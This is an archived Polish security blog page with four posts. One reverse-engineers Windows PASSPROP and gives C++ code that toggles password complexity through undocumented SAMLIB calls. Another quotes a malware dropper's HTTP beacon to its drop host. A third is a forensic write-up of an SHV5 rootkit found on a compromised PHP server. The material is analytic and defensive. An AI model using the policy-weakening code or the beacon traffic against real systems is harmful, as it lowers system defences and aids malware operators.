Archive

Archive for October, 2008

Ustawienie złożoności hasła

October 21st, 2008 Icewall 2 comments

No właśnie ,sprawa na pozór błacha ,ale jak się okazuje jednak nie do końca.
Ostatnio w pewnym małym projekcie zachciało mi się manipulować zasada z polisy lokalnej (OS == Windows XP) ,a mianowicie :
Ustawienia zabezpieczeń lokalnych->Zasady konta->Zasady haseł->Hasło musi spełniać wymagania co do złożoności

Jeżeli ktoś jeszcze dziwi się dlaczego w ogóle poruszam ten temat to już wyjaśniam ,że jak najbardziej nie chodzi o ustawienie tej zasady w sposób „klikany” ;) , tylko software’owy.

Idąc po najmniejsze lini oporu zacząłem od zapytania googli o klucz/wartość w rejestrze systemowym odpowiedzialny/ą za powyższa zasadę. Niestety nic konkretnego nie udało mi się ustalić ;/. Hymm , no trudno , pomyślałem i już pełen nadziei i optymizmu zacząłem szperać w sieci pod kątem WinApi , które dostarczyło by mi możliwości odczytywania jak i modyfikacji bieżącego stanu zasad polis lokalnych. Szukam, szukam i nic!!!o_O.
Trochę nie chciałem na początku dowierzać ,no ale po chwili do mnie dotarło ,że jednak błyskawicznego rozwiązania na swój „problem” nie znajdę;/.
Oczywiście jak mógłbym się poddać wcześniej nie doprowadzając sprawy do końca;).
Niestety żadna defaultowa windows’owa aplikacja nie przychodziła mi do głowy (prócz mmc.exe + przystawka secpol.msc,,,ale było by za dużo zabawy :P , a jakiej? o tym za chwilę),która pozwała by na modyfikacje polis, ale jako ,że w przeszłości zajmowałem się dobrą chwilę platformą serwerową Windows 2003 do głowy przyszedł mi Resorce Kit Tools.
No i bingo!!! Znajdujemy tam aplikację PASSPROP ,która jak najbardziej spełnia stawiane przeze mnie wymagania:

Passprop.exe /?
Displays or modifies domain policies for password complexity and
administrator lockout.
PASSPROP [/complex] [/simple] [/adminlockout] [/noadminlockout]

/complex Force passwords to be complex, requiring passwords
to be a mix of upper and lowercase letters and
numbers or symbols.

/simple Allow passwords to be simple.

/adminlockout Allow the Administrator account to be locked out.
The Administrator account can still log on
interactively on domain controllers.

/noadminlockout Don't allow the administrator account to be locked out.

Jako ,żę aplikacja ta jest „opensource”(no co ?tak mówi OllyDbg:P), to rzućmy okiem na kod i sprawdźmy wywołania jakich WinApi pojawiają się przy użyciu przełącznika
„/complex”.
Lista wygląda następująco:

ADVAPI32.LsaOpenPolicy
ADVAPI32.LsaQueryInformationPolicy
ADVAPI32.LsaClose
SAMLIB.SamConnect
SAMLIB.SamOpenDomain
SAMLIB.SamQueryInformationDomain
SAMLIB.SamSetInformationDomain
SAMLIB.SamCloseHandle
SAMLIB.SamFreeMemory

Ahh, czyli jednak istnieją api do modyfikacji polis,ajjj Icewall,, Icewall,, nie umiesz szukać :P .Odetchnąłem z ulgą ,że mam już swoje upragnione api i natentychmiast udałem się na strone MSDN ,żeby zbadać ich detale. Bez większego problemu można znaleźć dokumentacje dotyczącą trzech pierwszych api ale dla wszystkich importowanych z SAMLIB już nie;/:

No Results Found For: SamOpenDomain.

Dziwne prawda? Nie wiem jakie były intencje MS przy podjęciu decyzji nie udokumentowania tych api ,no ale cóż .
Po moim małym rozczarowaniu na MSDN ,wrzuciłem „SamOpenDomain” w google, ale niestety i google tym razem było mało pomocne. Jedynym kawałkiem kodu wykorzystującym niektóre z powyższych api jaki znalazłem był kod PwDump’a 2.Nie bawiąc się w dalsze poszukiwania brakujących wskazówek czy wrapper’ów na te api (możliwe ,że NETAPI32 dostarcza podobną funkcjonalność) przystąpiłem do tego co tygrysy lubią najbardziej;).
RE Passprop.exe.
Skupie się jedynie na api , których nie wykorzystuje PwDump2,czyli :
SAMLIB.SamQueryInformationDomain
SAMLIB.SamSetInformationDomain


Jak widać na powyższym screen’e SamQueryInformationDomain
przyjmuje 3 parametry:

SamQueryInformationDomain(HANDLE hDomain,DWORD kind, SamInfoStruct**);

,gdzie z dalszych moich obserwacji wynika ,że struktura SamInfoStruct ,najprawdopodobnie wygląda tak:

struct SamInfoStruct
{
DWORD unknow;
DWORD flag;
};

Interesująca nas tutaj polem jest flag:
„Hasło musi spełniać wymagania co do złożoności”
0 – off
1 – on

No to już mamy procke do ustalenia bieżącej wartości tej zasady teraz jeszcze modyfikacja:

Jak można było się domyśleć SamSetInformationDomain przedstawia się podobnie:

SamSetInformationDomain (HANDLE hDomain,DWORD dunno,SamInfoStruct*);

No i na koniec mały kod wyłaczający/włączający zasade złożoności hasła w lokalnej polisie.
(kod jest „troche” nie chlujny na szybkiego wyciąłem go z projektu i wprowadziłem drobne modyfikacje:P)
———————————–CUT———————————————–

#include
#include
#include

//---------------------------------------------------------------------------

struct SamInfoStruct
{
	DWORD unknow;
	DWORD flag;
};

typedef NTSTATUS
(WINAPI *SamConnect_t) (DWORD, HANDLE*, DWORD, LSA_OBJECT_ATTRIBUTES*);
typedef NTSTATUS
(WINAPI *SamOpenDomain_t) (HANDLE,DWORD,PSID,HANDLE*);
typedef NTSTATUS
(WINAPI *SamQueryInformationDomain_t)(HANDLE,DWORD,SamInfoStruct**);
typedef NTSTATUS
(WINAPI *SamSetInformationDomain_t)(HANDLE,DWORD,SamInfoStruct*);
typedef NTSTATUS
(WINAPI *SamCloseHandle_t) (HANDLE);
typedef NTSTATUS
(WINAPI *SamFreeMemory_t) (SamInfoStruct*);

using namespace std;
bool ComplexPassword(string inOperationType,bool inSet);
int main(int argc, char** argv)
{
bool flag;
if(argc<2)
	return 0;

switch(argv[1][0])
{
 case '0':
	flag = false;
	break;
 case '1':
	flag = true;
	break;
 default:
 return 0;
}

cout<<"Haslo musi spelniac wymagania co do zlozonosci: "
<<ComplexPassword("check",0)
<<endl;
//ustawienie flagi przy sprawdzaniu nie ma znaczenia

//set flag
ComplexPassword("set",flag);

cout<<"Haslo musi spelniac wymagania co do zlozonosci: "
<<ComplexPassword("check",0)
<<endl;

return 0;
}
bool ComplexPassword(string inOperationType,bool inSet)
{

LSA_HANDLE hPolicy = NULL;
LSA_OBJECT_ATTRIBUTES objAttrib;
POLICY_ACCOUNT_DOMAIN_INFO* pDomainInfo;
SamInfoStruct *SamInfo = NULL;
HANDLE hSam = 0;
HANDLE hDomain = 0;
SamConnect_t SamConnect;
SamOpenDomain_t SamOpenDomain;
SamQueryInformationDomain_t SamQueryInformationDomain;
SamSetInformationDomain_t SamSetInformationDomain;
SamCloseHandle_t SamCloseHandle;
SamFreeMemory_t  SamFreeMemory;

HMODULE hLib = LoadLibrary("samlib.dll");
SamConnect = (SamConnect_t)
GetProcAddress(hLib,"SamConnect");

SamOpenDomain = (SamOpenDomain_t)
GetProcAddress(hLib,"SamOpenDomain");

SamQueryInformationDomain = (SamQueryInformationDomain_t)
GetProcAddress(hLib,"SamQueryInformationDomain");

SamSetInformationDomain = (SamSetInformationDomain_t)
GetProcAddress(hLib,"SamSetInformationDomain");

SamCloseHandle = (SamCloseHandle_t)
GetProcAddress(hLib,"SamCloseHandle");

SamFreeMemory  = (SamFreeMemory_t)
GetProcAddress(hLib,"SamFreeMemory");
//tak tak tak ...zakładam ,że lib'a i wszystkie adresy usdało sie załadować pomyślnie

memset(&objAttrib,0,sizeof(objAttrib));
objAttrib.Length = sizeof(objAttrib);

if(LsaOpenPolicy(NULL,&objAttrib,POLICY_ALL_ACCESS,&hPolicy)!= 0)
{
	cout<<"Password complexity check error: "<<GetLastError();
	return false;
}

LsaQueryInformationPolicy(hPolicy,
                                   PolicyAccountDomainInformation,
                                   (void**)&pDomainInfo);
LsaClose(hPolicy);

if(SamConnect(0, &hSam, 0x20,&objAttrib)<0)
{
		cout<<"SamConnect error: "<DomainSid,&hDomain)<0)
{
	cout<<"SamOpenDomain error: "<<GetLastError();
	goto bad_boy;
}

if(SamQueryInformationDomain(hDomain,0x1,&SamInfo)<0)
{
	cout<<"SamQueryInformationDomain error: "<flag != 0x1)
		goto bad_boy;

	inSet = true;
}
else
{
	SamInfo->flag = (DWORD)inSet;
	if(SamSetInformationDomain(hDomain,0x1,SamInfo)<0)
	{
		cout<<"SamSetInformationDomain error: "<<GetLastError();
		goto bad_boy;
	}

 }

SamCloseHandle(hDomain);
SamCloseHandle(hSam);
if(SamInfo!=0)
	SamFreeMemory(SamInfo);
FreeLibrary(hLib);
return inSet;

bad_boy:
if(hDomain !=0)
		SamCloseHandle(hDomain);
SamCloseHandle(hSam);
if(SamInfo!=0)
	SamFreeMemory(SamInfo);
FreeLibrary(hLib);
return false;
}

———————————–CUT———————————————–
Przykładowa sesja:
pass.exe 1
Haslo musi spelniac wymagania co do zlozonosci: 0
Haslo musi spelniac wymagania co do zlozonosci: 1

I to by było na tyle:).
Jeżeli ktoś spotkał się z dokumentacją api z SAMLIB lub wrraperami z innego lib’a to będe wdzięczny za link.

Go to hell! – why?

October 19th, 2008 Icewall No comments

Kolejny screen z serii funny malware ;)
Tym razem właściciel/e drop hosta nie ukrywają swojego sfrustrowania naszymi wizytami na ich serwerze i nie wiedząc czemu ślą nas do piekła!!!

Funny malware

October 7th, 2008 Icewall No comments

Tak jak obiecałem wrzucam pierwszy post z cyklu “Funny malware” :) .
Na pierwszy ogień idzie dropper bez konkretniejszej nazwy ponieważ mutacje tego typu trojanów jest tak duzo ,że ludzie od sygnature nie wyrabiają:D.

Osobnik zasłużył sobie na miejsce w tej katogorii nietuźnikową domeną dla drop hosta:

VT: 55efe2ff0338c0abe5b1a978a138913f
POST /CENZURA.php HTTP/1.1
Referer: SAS
Content-Type: multipart/form-data; boundary=7d615b161b064a
User-Agent: A
Host: hassomeonelostininter.net
Content-Length: 384
Cache-Control: no-cache

hassomeonelostininter.net
HAS SOMEONE LOST IN INTERNET

No tak interes się kręci :D to i panowie pozwalają sobie na żarty w postaci takich domen..hehhe:)

Btw:Interesujący filmik ,który gdzieś w sieci wygrzebał Borys prezentujący akcje policji podaczas nalotu na dom skimmerów/carderów:
Zobacz->Video
Tym paną zdecydownie nie bylo już do śmiechu :) .

PS:Greetz to Emi aka ‘alwaro’ for sample.

Categories: Funny malware Tags: ,

„Ziarnko do ziarnka i uzbiera się miarka”

October 7th, 2008 Icewall No comments

Jakież to ładne przysłowie udało mi się wyszukać do określenia przebiegu ataku
,,,, ale do rzeczy.

W dobie gdzie każdy OS ma defaultowo zintegrowane mechanizmy
„utrudniające” exploitacje , zdalne ataki wymierzony bezpośrednio w jedna z
usług systemowych w celu wyROOT’owania(nie ma to jak neologizmy) maszyny,
są „w znacznym stopniu”(ehm ;] ) utrudnione.
No tak ,ale co jeśli atakujący ma trochę więcej cierpliwości i stopniowo będzie zwiększał swój stopień kontroli nad ofiarą?

Z pewnością taką możliwość dają hostingi + serwery WuWuWu z cała ekipą swoich krnąbrnych użytkowników. Trzymając się trendów rynkowych załóżmy ,że takim serwerem jest Apacze + PeHaPe ku uciesze użytkowników ( i nie tylko).Wszyscy wiemy ,że PHP nie należy do najbezpieczniejszych języków programowania ,no ale twórcy starają się zapewnić go choć trochę stosując „security by default”. No tak ,ale co ma zrobić takie biedny administrator kiedy dzwoni to niego pan Rysiek i mówi ze jego „fancy domorodna” aplikacja z interfejsem webowym do zdalnego domykania lodówki nie działa ,bo ktoś najwyraźniej wyłączył register_globals? Po paru takich telefonach odebranych w weekendowa noc sfrustrowany admin pójdzie po najmniejszej lini oporu i dokona „odpowiednich” modyfikacji php.ini.

Powyższą historię chciałbym traktować jako totalny żart ,no ale tak nie jest i raczej trzeba na nia patrzeć jak na historię z cyklu „Pół żartem Pół serio”(połówki zostawiam wam do wyboru).
A teraz tak całkiem poważnie o tym jak c99.php może zamienić się w rootkit’a SHV5.
Nie tak dawno dawno temu pewien administrator skarżył się na dziwny ruch wychodzący
gdzie adres źródłowy był spoofowany ,a adres docelowy zmieniał się w pewnym zakresie
przy sztywno określonym porcie dst wynoszącym “1” (DoS?).
Wcześniejsze pentesty cms’ów na serwerze wykazały pare bugów z cyklu RFI/LFI i podejrzliwy Ice zaczął dostrzegać w tym wszystkim jakieś większe ZUO.
Po BlackBox’e przyszedł czas żeby „dotknąć serwera z bliska”. Po paru dobrych minutach miotania się po katalogach WWW userów i szukaniu przyczyny zua, przeszedłem do oględzin aktywnych procesów .Oczy me zadziwił
rezultat komendy ps:

marcin@xxx:/$ ps -A
PID TTY TIME CMD
3537 ? 00:00:00 3

Hym hym cóż za dziwna nazwa komendy “3″ (od razu na myśl przyszedł mi do głowy proces instalujący driver Mbroot-A :D ).
Oczywiście nie omieszkałem przyjrzeć się sprawie bliżej:

marcin@xxx:/$ ps -p 3537 -F
UID PID PPID C SZ RSS PSR STIME TTY TIME CMD
root 3537 1 0 516 332 1 Aug28 ? 00:00:00 /sbin/ttyload -q
marcin@xxx:/$ md5sum /sbin/ttyload
5a9690fa6129bc021bf40fb5f6c603bd /sbin/ttyload

A rezultat dla tej md5’i możecie znalesc tutaj:
5a9690fa6129bc021bf40fb5f6c603bd

O tak ! to jeden z plików należących do rootkit’a!
Jeszcze rzut okiem na stringi:

marcin@xxx:/$ strings /sbin/ttyload | more
Linux $Info: This file is the propert of SH-crew team designed for test purposes. $ $Nr: SH- April/2003 produced in SH-labs for Linux Systems.Run and enjoy.

i sprawa jest zupełnie jasna.

Od razu muszę powiedzieć ze parskłem śmiechem z faktu ,że zwykłą komenda ps (+ fakt ,że rootkit podmienia binarke ps na swoja ,patchowaną) umoliwila wykrycie jednego z jego składników kompromitując przy tym cały mechanizm. No cóż ,jak widać nawet atakujący może się czasem pomylić;).
Końcowe odpalenie RootkitHuntera było już tylko formalnością:

[19:21:49] System checks summary
[19:21:49] =====================
[19:21:50]
[19:21:50] File properties checks...
[19:21:50] Files checked: 127
[19:21:50] Suspect files: 2
[19:21:50]
[19:21:50] Rootkit checks...
[19:21:50] Rootkits checked : 113
[19:21:50] Possible rootkits: 2
[19:21:50] Rootkit names : SHV4 Rootkit, SHV5 Rootkit

Ot cała historia;)A morał jest taki ,że nie należy lekceważyć żadnego składnika swojego systemu jeżeli chodzi o bezpieczeństwo.
Ale przecież to oczywiste ,prawda?

Categories: Malware, Security Tags: , , , ,